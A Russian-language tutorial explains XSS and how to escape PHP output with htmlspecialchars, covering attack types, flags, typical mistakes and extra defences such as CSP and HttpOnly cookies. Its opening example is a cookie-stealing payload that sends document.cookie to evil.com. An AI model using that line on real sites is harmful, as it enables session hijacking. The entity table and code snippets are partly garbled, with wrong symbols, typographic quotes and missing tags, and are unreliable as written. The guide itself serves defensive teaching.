Безопасность кода: Что такое XSS-уязвимость и как правильно фильтровать выходные данные в PHP (htmlspecialchars)?
XSS (Cross-Site Scripting) — это один из наиболее распространённых типов веб-уязвимостей, при котором злоумышленник внедряет вредоносный JavaScript-код в страницу, которую просматривают другие пользователи. Это позволяет красть куки, перехватывать сессии, выполнять фишинговые атаки и многое другое.
## Как работает XSS?
Представьте форму комментариев на сайте. Пользователь вводит:
document.location=’https://evil.com/?c=’+document.cookie
Если сайт выводит этот текст без экранирования, браузер выполнит скрипт и отправит куки жертвы злоумышленнику.
## Типы XSS-атак
1. **Reflected XSS** — вредоносный код передаётся через URL-параметр и сразу отражается в ответе сервера.
2. **Stored XSS** — код сохраняется в базе данных и выполняется при каждом просмотре страницы.
3. **DOM-based XSS** — атака происходит на стороне клиента через манипуляции с DOM.
## Функция htmlspecialchars() в PHP
Основной инструмент защиты от XSS в PHP — функция `htmlspecialchars()`. Она преобразует специальные HTML-символы в их безопасные HTML-сущности:
— `&` → `&`
— « → `>`
— `»` → `"`
— `’` → `'`
### Правильное использование:
php
$userInput = $_GET[‘name’];
echo htmlspecialchars($userInput, ENT_QUOTES | ENT_HTML5, ‘UTF-8’);
**Важные параметры:**
— `ENT_QUOTES` — экранирует как двойные, так и одинарные кавычки.
— `ENT_HTML5` — использует правила HTML5.
— `’UTF-8’` — явно указывает кодировку, чтобы избежать атак через многобайтовые символы.
## Типичные ошибки
— Использование `htmlspecialchars()` без флага `ENT_QUOTES` — одинарные кавычки остаются незащищёнными.
— Экранирование только при вводе, а не при выводе — данные могут обрабатываться несколько раз.
— Забывать про атрибуты HTML: `<input value="»>` — обязательно экранировать.
— Не указывать кодировку — уязвимость через UTF-7 и другие кодировки.
## Дополнительные меры защиты
1. **Content Security Policy (CSP)** — HTTP-заголовок, ограничивающий источники скриптов.
2. **HttpOnly и Secure флаги для куки** — защищают куки от кражи через JavaScript.
3. **Валидация входных данных** — проверяйте тип, длину и формат данных.
4. **Использование шаблонизаторов** — Twig, Blade автоматически экранируют вывод.
5. **Библиотека HTML Purifier** — для случаев, когда нужно разрешить часть HTML-тегов.
## Пример безопасного вывода данных
php
function safe($string) {
return htmlspecialchars($string, ENT_QUOTES | ENT_HTML5, ‘UTF-8’);
}
echo ‘
Привет, ‘ . safe($_GET[‘username’]) . ‘!
‘;
Правило золотое: **всегда экранируйте данные непосредственно перед выводом**, а не при получении. Это называется принципом «экранирование в точке использования» и защищает от двойного экранирования и логических ошибок.
